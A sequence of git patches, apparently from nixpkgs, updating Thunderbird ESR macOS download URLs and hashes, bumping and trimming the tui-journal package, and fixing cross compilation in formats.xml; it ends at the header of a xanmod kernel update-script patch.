       locale = "eu";
       arch = "mac";
-      sha256 = "e8083e2da49168c1e5e52392a8e8cf1ec6190b48797d47fddcc0e0310f1390a5";
+      sha256 = "aecbb212b8cc978e7b419f4abef61bd8229658ddc8ce460c3cf32d6b9985db08";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/fi/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/fi/Thunderbird%20140.1.0esr.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "1cab5d0c6a18a1975fb9010e3c83ad34abbe9888e592ca4e0b87a6b45e7266e8";
+      sha256 = "e1bda1196cce483e4f00dfbdf89bce2c2ca90a42dedce17530db2e4f8cfa9b10";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/fr/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/fr/Thunderbird%20140.1.0esr.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "7c5bc6b3d2d797ed40ca89f96668a359fd00344219db9942ab3f64e9a06e8a74";
+      sha256 = "15d1952adb3602e2edbde88d5098b13153e5dc6161cd66578fa87252fccd25d2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/fy-NL/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/fy-NL/Thunderbird%20140.1.0esr.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "b20d55d3887f546131dbc2d7440f0bc68cd90662366f761b57ff59cfb3680401";
+      sha256 = "09d087f3d90c9ce4848d19e510e6edc03b11299c539f0ea943a15dc8e7fcac7b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ga-IE/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ga-IE/Thunderbird%20140.1.0esr.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "6500a32d0212883b059f7f8049c08534c346b271353f9c66e056b69f550501b9";
+      sha256 = "c216dbf1ff5e7a58aac7296415080b60ab7f6e691e4471799dba2850cfed93c5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/gd/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/gd/Thunderbird%20140.1.0esr.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "f27079d598d662c9d46857a742ff6ea455d2b0cfc63f9f11b8c075e79713f1e1";
+      sha256 = "67c768d8f1968a2555456a9cb7a1c6775c12288ded166e53d438f9b6103d95e7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/gl/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/gl/Thunderbird%20140.1.0esr.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "d29ad1cf5ec3b1b189c21a73fe689c01b21e60dd80fa6c6aad2dc04f77312fab";
+      sha256 = "9865f2fe16c50f270b5c4c40982a4fc76f560f53520eac37f59d3a7826856799";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/he/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/he/Thunderbird%20140.1.0esr.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "3c39fe2417ab58098b43ee07d9cb562254c529d9777d520852000e368baa1234";
+      sha256 = "1073db739302522833fbfc9c0601365df0c5c6a4f65cc599d35b103fc377daf0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/hr/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/hr/Thunderbird%20140.1.0esr.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "c13f505713795fb6df640ab080f52096735c7374ba0826e2d3cd3f6dbc0e9390";
+      sha256 = "e9097a7cdef7dca442ec139edc157e24639d54016345ef1551867a57351f3460";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/hsb/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/hsb/Thunderbird%20140.1.0esr.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "46c80d63f7453876366db864ee14b80a9b52987a8af3bc8a24d8735d7691d3a4";
+      sha256 = "eafc388354c38c70ceee314f185707f042c870a4fccbe0241af6f47873a67348";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/hu/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/hu/Thunderbird%20140.1.0esr.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "6b48415df64d8c3ac80d8ce2b75712335948455f1d380ce1f3b4d38b7980a9d1";
+      sha256 = "f2ad45f85a4a50bcdb954459e5eeeae334d014b00365d48d0043b506f329d3ad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/hy-AM/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/hy-AM/Thunderbird%20140.1.0esr.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "4d342cfd00c5ffe34877600d6c475603fa961c6862bcc9b27f666aebb877a624";
+      sha256 = "32db776e1ac01f9adc25e307099b0b17f381954a9929e58d7e1b6f101287aa74";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/id/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/id/Thunderbird%20140.1.0esr.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "8fb14ee5415c8a7bf468e422c18b4dba35fdb0c78b57aae2058f50ad94fe386c";
+      sha256 = "67e73e22fae4c379cb51caf399b2f2b867751ffb2156d2548be8af8ad13a09b8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/is/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/is/Thunderbird%20140.1.0esr.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "e34a22ee6896606ccb29e28d80da8ab30bb060804d210f4a3eafa0437846b297";
+      sha256 = "1f85b717feab1c85fdac4287cee002b81b215328955dee9ccf579dc004173d19";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/it/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/it/Thunderbird%20140.1.0esr.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "1ec0efcf85cf0c277cd219a206e947ae970b6b3397b3a8da24beee96ac0d8d34";
+      sha256 = "2946891e2ccc87cdb74a60e25f27248d11ffa061c5890d2b02f8a6230ea9c851";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ja-JP-mac/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ja-JP-mac/Thunderbird%20140.1.0esr.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "c583039cff073b0a6f94a73f120c26d6f43c86ab53fb0c545d66ab927ea76049";
+      sha256 = "2d53d41264d37c697a6c1730588197ac0fc0a91c835975473fccce8e46c8bca0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ka/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ka/Thunderbird%20140.1.0esr.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "743c09456f1e37df56f642e4f25c432c02518250e3e675c2e59e44682f42e3cc";
+      sha256 = "764825a8f1254b4d59fcbabca0a7850fbfb520ff116eff85c5dc48eca10743ad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/kab/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/kab/Thunderbird%20140.1.0esr.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "b2827daeb5582a8d7df1d0fd2a1263e306d2ffebec00f49f9bb7b36ec3f1f13e";
+      sha256 = "0e01d710f1bb3ac4441748f967a475f1c12444647d6d6eb67ed9605c2a77156d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/kk/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/kk/Thunderbird%20140.1.0esr.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "cda4811b48bc59a731b9db326385a6e24b5cde15170f67f7e66b035642ab6301";
+      sha256 = "afcc4d61b0a4733ed9addd694aca7e770c5db534b3a8bca905482dd45c2f03c5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ko/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ko/Thunderbird%20140.1.0esr.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "b66634a71ccf6010025e395326227d900e70f41ac6d4aefadb87ed863268be8b";
+      sha256 = "2ddf7356e8f4e974a6b39599ca534334b651ba2ecf4f7617754e1245cce71083";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/lt/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/lt/Thunderbird%20140.1.0esr.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "344bfe5819f26f494243bee9051b2b6cef79e15377dcd3b0c3462feba09a4899";
+      sha256 = "e3f5cdfcd01dd8b4f393a46cc5244acca057f0b149b36740ae08120721ea49eb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/lv/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/lv/Thunderbird%20140.1.0esr.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "e9a5cc498ae57a76fd8e8dfe58e9f5faebbd7c50f53f50909b091f822dccc366";
+      sha256 = "43ad9897e00bf8c45cfcdd52f8a92cff6227802ae7d7127e712153540d6a1b9f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ms/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ms/Thunderbird%20140.1.0esr.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "17e553a159ca6e020ee24cc4293f1d4ad144dc0b2dc505aefa7acac7a1b2874c";
+      sha256 = "893260d2fbfd0d86d0242237c015eeba0d10ddbfab273df6249be2ea6cf1617b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/nb-NO/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/nb-NO/Thunderbird%20140.1.0esr.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "fba0b9ae7a9809e4ee8181c387c74a54dc3dd73e39b25931675d1f3251f5cba4";
+      sha256 = "7f2237f0497b12b586e925e884e9759c1f973e3a59e24fb4cd79f113a2a10373";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/nl/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/nl/Thunderbird%20140.1.0esr.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "4c114373ca9760c588187d440301c9f5f5c3ba955f212ece78ffc6e095347d01";
+      sha256 = "5326cb77442d6c547fb0e2010947f3433056d1f241f8eed8430b1af18ab7dc5b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/nn-NO/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/nn-NO/Thunderbird%20140.1.0esr.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "46f358d2437f74f6feb7c508b844325cd15ef61c230bf0af3338a3e754c5ad99";
+      sha256 = "0d6f2dbe354e679d4feb02a4cb56769435a20c25fc62730e5c0ec366c860510a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/pa-IN/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/pa-IN/Thunderbird%20140.1.0esr.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "f5ae52be91e9e74a20a865603ab70650015cd052dd3524f40d547a725182514d";
+      sha256 = "e6170af13789dccc75a8ecb157f5b0eafb98bffc0963e10232a477e04a82aaef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/pl/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/pl/Thunderbird%20140.1.0esr.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "68c481bed5cdb529e294d6d6c4a96897f0f26205910e5f53cedbd28674042f04";
+      sha256 = "3ded93a7e935f40384ffabd539db653b1333537340c543ab672d8f2bd752a79b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/pt-BR/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/pt-BR/Thunderbird%20140.1.0esr.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "5d7df81759e99ba5c1ce321641450963443ebe8fa0dba62a1305cbc65228ad4c";
+      sha256 = "483f1ca184263e15183b69e723c1bb0d91e44460eeb2610dc9e01534dd7a6fcf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/pt-PT/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/pt-PT/Thunderbird%20140.1.0esr.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "ed4d5f4f0c3574cade3cc8df470cec5b41a63daa60cfefd18650f87bc1a5e857";
+      sha256 = "3f151d6ace1296689a9e799ba603aa0c3d7f4a9d403d850697f620402b165626";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/rm/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/rm/Thunderbird%20140.1.0esr.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "e7cf689884d0a39f718bf17752600cb837d2cd88b1636c139c94aa98b080a8cd";
+      sha256 = "c6cf94d2a41ebdb82f6ff3fb8afd0f288f4333608f8d4134ccbf3a2fb4b9a97c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ro/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ro/Thunderbird%20140.1.0esr.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "304c225dba0e4f4e6014ab791eb4950072a15b61bf88d0dc277e6eb2aaaa3531";
+      sha256 = "815fa90ea0140a295e22e0c96c8fad12e65588cd1c3c63d045d65a29f408438c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/ru/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/ru/Thunderbird%20140.1.0esr.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "d53d2c8ec5112d3e3f94391ffc8323451ed0f39abbc3f1548f29989eb1a94e7c";
+      sha256 = "0e1e7ad53e63cb7aa861324fc501d3e49748168bcce0da3f943f7de18233c57c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/sk/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/sk/Thunderbird%20140.1.0esr.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "f7083412a1e2a067b37a0bbbf5366c40b558a8f0b04f3435caed1753f551e05b";
+      sha256 = "1f9b5b10cbecc8654722ea31d75a5c5ff64a5b894b27fa14d3ec749a57f9c276";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/sl/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/sl/Thunderbird%20140.1.0esr.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "a2f163298c4653cbf5615cc77b32f7e05ec6f99b0448ddcdb2d0e4e326918c9e";
+      sha256 = "10a132922864f0762c8efa63740227d2a3c6f9cb19ddfffd405690ecaa2e9765";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/sq/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/sq/Thunderbird%20140.1.0esr.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "383328a54e6155e813d1e328658903cfc1836e640032182a40446455df52b00f";
+      sha256 = "51fdc11dec939d838afedf1c4d11b713c7c92e67338c2bcbe900f95fbd104614";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/sr/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/sr/Thunderbird%20140.1.0esr.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "5fd5564f871656f491b7a55b459ad22ad465f6d683ceec660e0c894bd059411e";
+      sha256 = "b31f2a1b388176288af887966e94dd01ff4b8e1f130b4dd3f4abf83118b016ad";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/sv-SE/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/sv-SE/Thunderbird%20140.1.0esr.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "a3bda6773dd565a4d613e97f78648bf461f44b6237b941ae1711cfd0e098d357";
+      sha256 = "eb0fb0c40ca617a81955056f127ad39f859e4fde4af2ac41e1fc3aaed4a082f1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/th/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/th/Thunderbird%20140.1.0esr.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "8d2b8dc11ce8532a09cda982f1625877e9a1d634678811760be5529500641bb1";
+      sha256 = "38284a1aee298b6882fa421a5db528a8471f9878752fa159845fce2a724d9b67";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/tr/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/tr/Thunderbird%20140.1.0esr.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "ee2848ad6bb3bd0c5d367cde7c5a010dce7e6f28b25b42b036297c199ff45ed7";
+      sha256 = "9c2744698829c19651c3de84cee70ad2ce1652d2c42519ab29b5ab18ff9d9805";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/uk/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/uk/Thunderbird%20140.1.0esr.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "65e3c31b51773f089266db704c2c128c222e05a5593088b8d0a0f6b3e65844a1";
+      sha256 = "b2b1854ba1695fbdc66e14a8dd98409a20becc48e0ddefeda94fd3ed8a63953a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/uz/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/uz/Thunderbird%20140.1.0esr.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "baa2ed186c708f03fa8df0dd60ba8c0ee1157661e7a871b48526541bfeaa1e7f";
+      sha256 = "8ba55a0821749f09d2ff038a30a9a8a0e75266b3c6bc327daed02e3060c21953";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/vi/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/vi/Thunderbird%20140.1.0esr.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "710a9b52e6343d27a9412cc6296b0f7fe2dd0b5fe322a25ff09ea7da5e6cc30f";
+      sha256 = "db2b83dc7e7fec6792aa0a6749e516e1e75f7fe9253a59ab74289bd55b4307c0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/zh-CN/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/zh-CN/Thunderbird%20140.1.0esr.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "ea22275ae0bc0e0adce8228f798101ca699016577519a94a008ea409fa59497c";
+      sha256 = "0546cc58f6dedb258e6c01562099c93e373ba9f8b31c861976a8c99ab0776244";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.0.1esr/mac/zh-TW/Thunderbird%20140.0.1esr.dmg";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/mac/zh-TW/Thunderbird%20140.1.0esr.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "8fece4e313a472671567de0c2346db969d04aa870d7985a29c252848685bf2c6";
+      sha256 = "ac8e771b637cf67ac40644bb55945c09c6affd6292a925410368c5bc243d1782";
     }
   ];
 }

From 028fb9326e06d124eeebaa2447b49fa151f29603 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 13 Jul 2025 02:27:38 +0000
Subject: [PATCH 2984/4511] tui-journal: 0.15.0 -> 0.16.0

(cherry picked from commit 63239dadd4b0240979d44607b88a133a650b55c2)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/tu/tui-journal/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/tu/tui-journal/package.nix b/pkgs/by-name/tu/tui-journal/package.nix
index 079e09d45ec9..a81388e1a4ea 100644
--- a/pkgs/by-name/tu/tui-journal/package.nix
+++ b/pkgs/by-name/tu/tui-journal/package.nix
@@ -10,17 +10,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "tui-journal";
-  version = "0.15.0";
+  version = "0.16.0";
 
   src = fetchFromGitHub {
     owner = "AmmarAbouZor";
     repo = "tui-journal";
     rev = "v${version}";
-    hash = "sha256-XbOKC+utKt53iFzNbm861tMGsNMZ2GQc+/J0Dm/SYS8=";
+    hash = "sha256-hZpS0r3ky18XtDj4x8croKAZ+css1NmVy98NUuhtR/s=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-gleNWRs9oCI9TH5ALS/wvC88OooMfSTJvz+UVWFYrs4=";
+  cargoHash = "sha256-XsrHNzTiYWqTDV9+soY5oC4UoE5OBC7Ow7qir2dKV/A=";
 
   nativeBuildInputs = [
     pkg-config

From 137d1af725ca3ecf169c70fd1fff09aa52fa5568 Mon Sep 17 00:00:00 2001
From: Matthias Beyer <mail@beyermatthias.de>
Date: Tue, 29 Jul 2025 13:41:49 +0200
Subject: [PATCH 2985/4511] tui-journal: Remove useFetchCargoVendor

This is 398b16e16cc6 partially cherry-picked for only tui-journal.

Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/tu/tui-journal/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/tu/tui-journal/package.nix b/pkgs/by-name/tu/tui-journal/package.nix
index a81388e1a4ea..6311b8b6a84f 100644
--- a/pkgs/by-name/tu/tui-journal/package.nix
+++ b/pkgs/by-name/tu/tui-journal/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-hZpS0r3ky18XtDj4x8croKAZ+css1NmVy98NUuhtR/s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XsrHNzTiYWqTDV9+soY5oC4UoE5OBC7Ow7qir2dKV/A=";
 
   nativeBuildInputs = [

From 389bc8e5f6abe20cb32a95c20a2b345533f47b32 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 28 Jul 2025 16:22:55 +0000
Subject: [PATCH 2986/4511] tui-journal: 0.16.0 -> 0.16.1

(cherry picked from commit b45665ef20c4101a4d5f0a9b95bee9e14a213b25)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/tu/tui-journal/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/tu/tui-journal/package.nix b/pkgs/by-name/tu/tui-journal/package.nix
index 6311b8b6a84f..c2014418fbae 100644
--- a/pkgs/by-name/tu/tui-journal/package.nix
+++ b/pkgs/by-name/tu/tui-journal/package.nix
@@ -10,16 +10,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "tui-journal";
-  version = "0.16.0";
+  version = "0.16.1";
 
   src = fetchFromGitHub {
     owner = "AmmarAbouZor";
     repo = "tui-journal";
     rev = "v${version}";
-    hash = "sha256-hZpS0r3ky18XtDj4x8croKAZ+css1NmVy98NUuhtR/s=";
+    hash = "sha256-crrh7lV5ZMKaxsrFmhXsUgBMbN5nmbf8wQ6croTqUKI=";
   };
 
-  cargoHash = "sha256-XsrHNzTiYWqTDV9+soY5oC4UoE5OBC7Ow7qir2dKV/A=";
+  cargoHash = "sha256-PmQDLGOXvI0OJ+gMsYa/XLc0WgSH6++23X/b1+iU3JQ=";
 
   nativeBuildInputs = [
     pkg-config

From e559ef4c8d47b0eb321b059a4b5215dd17ffbe48 Mon Sep 17 00:00:00 2001
From: Matthias Beyer <mail@beyermatthias.de>
Date: Tue, 29 Jul 2025 12:53:25 +0200
Subject: [PATCH 2987/4511] tui-journal: Remove openssl dependency

Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
(cherry picked from commit f463fe3071138d58c06a06e2cad38044d08acbea)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/tu/tui-journal/package.nix | 2 --
 1 file changed, 2 deletions(-)

diff --git a/pkgs/by-name/tu/tui-journal/package.nix b/pkgs/by-name/tu/tui-journal/package.nix
index c2014418fbae..57b72915a3fc 100644
--- a/pkgs/by-name/tu/tui-journal/package.nix
+++ b/pkgs/by-name/tu/tui-journal/package.nix
@@ -4,7 +4,6 @@
   fetchFromGitHub,
   pkg-config,
   libgit2,
-  openssl,
   zlib,
 }:
 
@@ -27,7 +26,6 @@ rustPlatform.buildRustPackage rec {
 
   buildInputs = [
     libgit2
-    openssl
     zlib
   ];
 

From 60a26bb3aeb2402f0f9412bac09716bb91853d46 Mon Sep 17 00:00:00 2001
From: Jared Baur <jaredbaur@fastmail.com>
Date: Mon, 28 Jul 2025 10:35:10 -0700
Subject: [PATCH 2988/4511] formats.xml: fix cross compilation

`python3.pkgs` does not splice, so with a package-set setup to
cross-compile, we end up building xmltodict for the host platform. By
using `python3Packages.xmltodict` instead, we only use xmltodict for the
build platform, which is all that is needed for generating XML documents
at build-time.

(cherry picked from commit ae98bf924626863a533f5b4a2354b50df82ce0ba)
---
 pkgs/pkgs-lib/formats.nix | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/pkgs/pkgs-lib/formats.nix b/pkgs/pkgs-lib/formats.nix
index dd8551affee5..d7f938625626 100644
--- a/pkgs/pkgs-lib/formats.nix
+++ b/pkgs/pkgs-lib/formats.nix
@@ -898,14 +898,13 @@ rec {
           pkgs.callPackage (
             {
               runCommand,
-              python3,
               libxml2Python,
+              python3Packages,
             }:
             runCommand name
               {
                 nativeBuildInputs = [
-                  python3
-                  python3.pkgs.xmltodict
+                  python3Packages.xmltodict
                   libxml2Python
                 ];
                 value = builtins.toJSON value;

From 045d4002a8bebb5e728a07780b511db8f48ed0c8 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Wed, 23 Apr 2025 22:17:57 +0200
Subject: [PATCH 2989/4511] linux_xanmod, linux_xanmod_latest: add update
 script

Co-authored-by: Mathias Zhang <me@zzzsy.top>
(cherry picked from commit 6f2ad75d742ee1d5ec1c7be267ff261404c1b2d7)
---
 .../os-specific/linux/kernel/update-xanmod.sh | 86 +++++++++++++++++++
 .../linux/kernel/xanmod-kernels.nix           |  7 ++
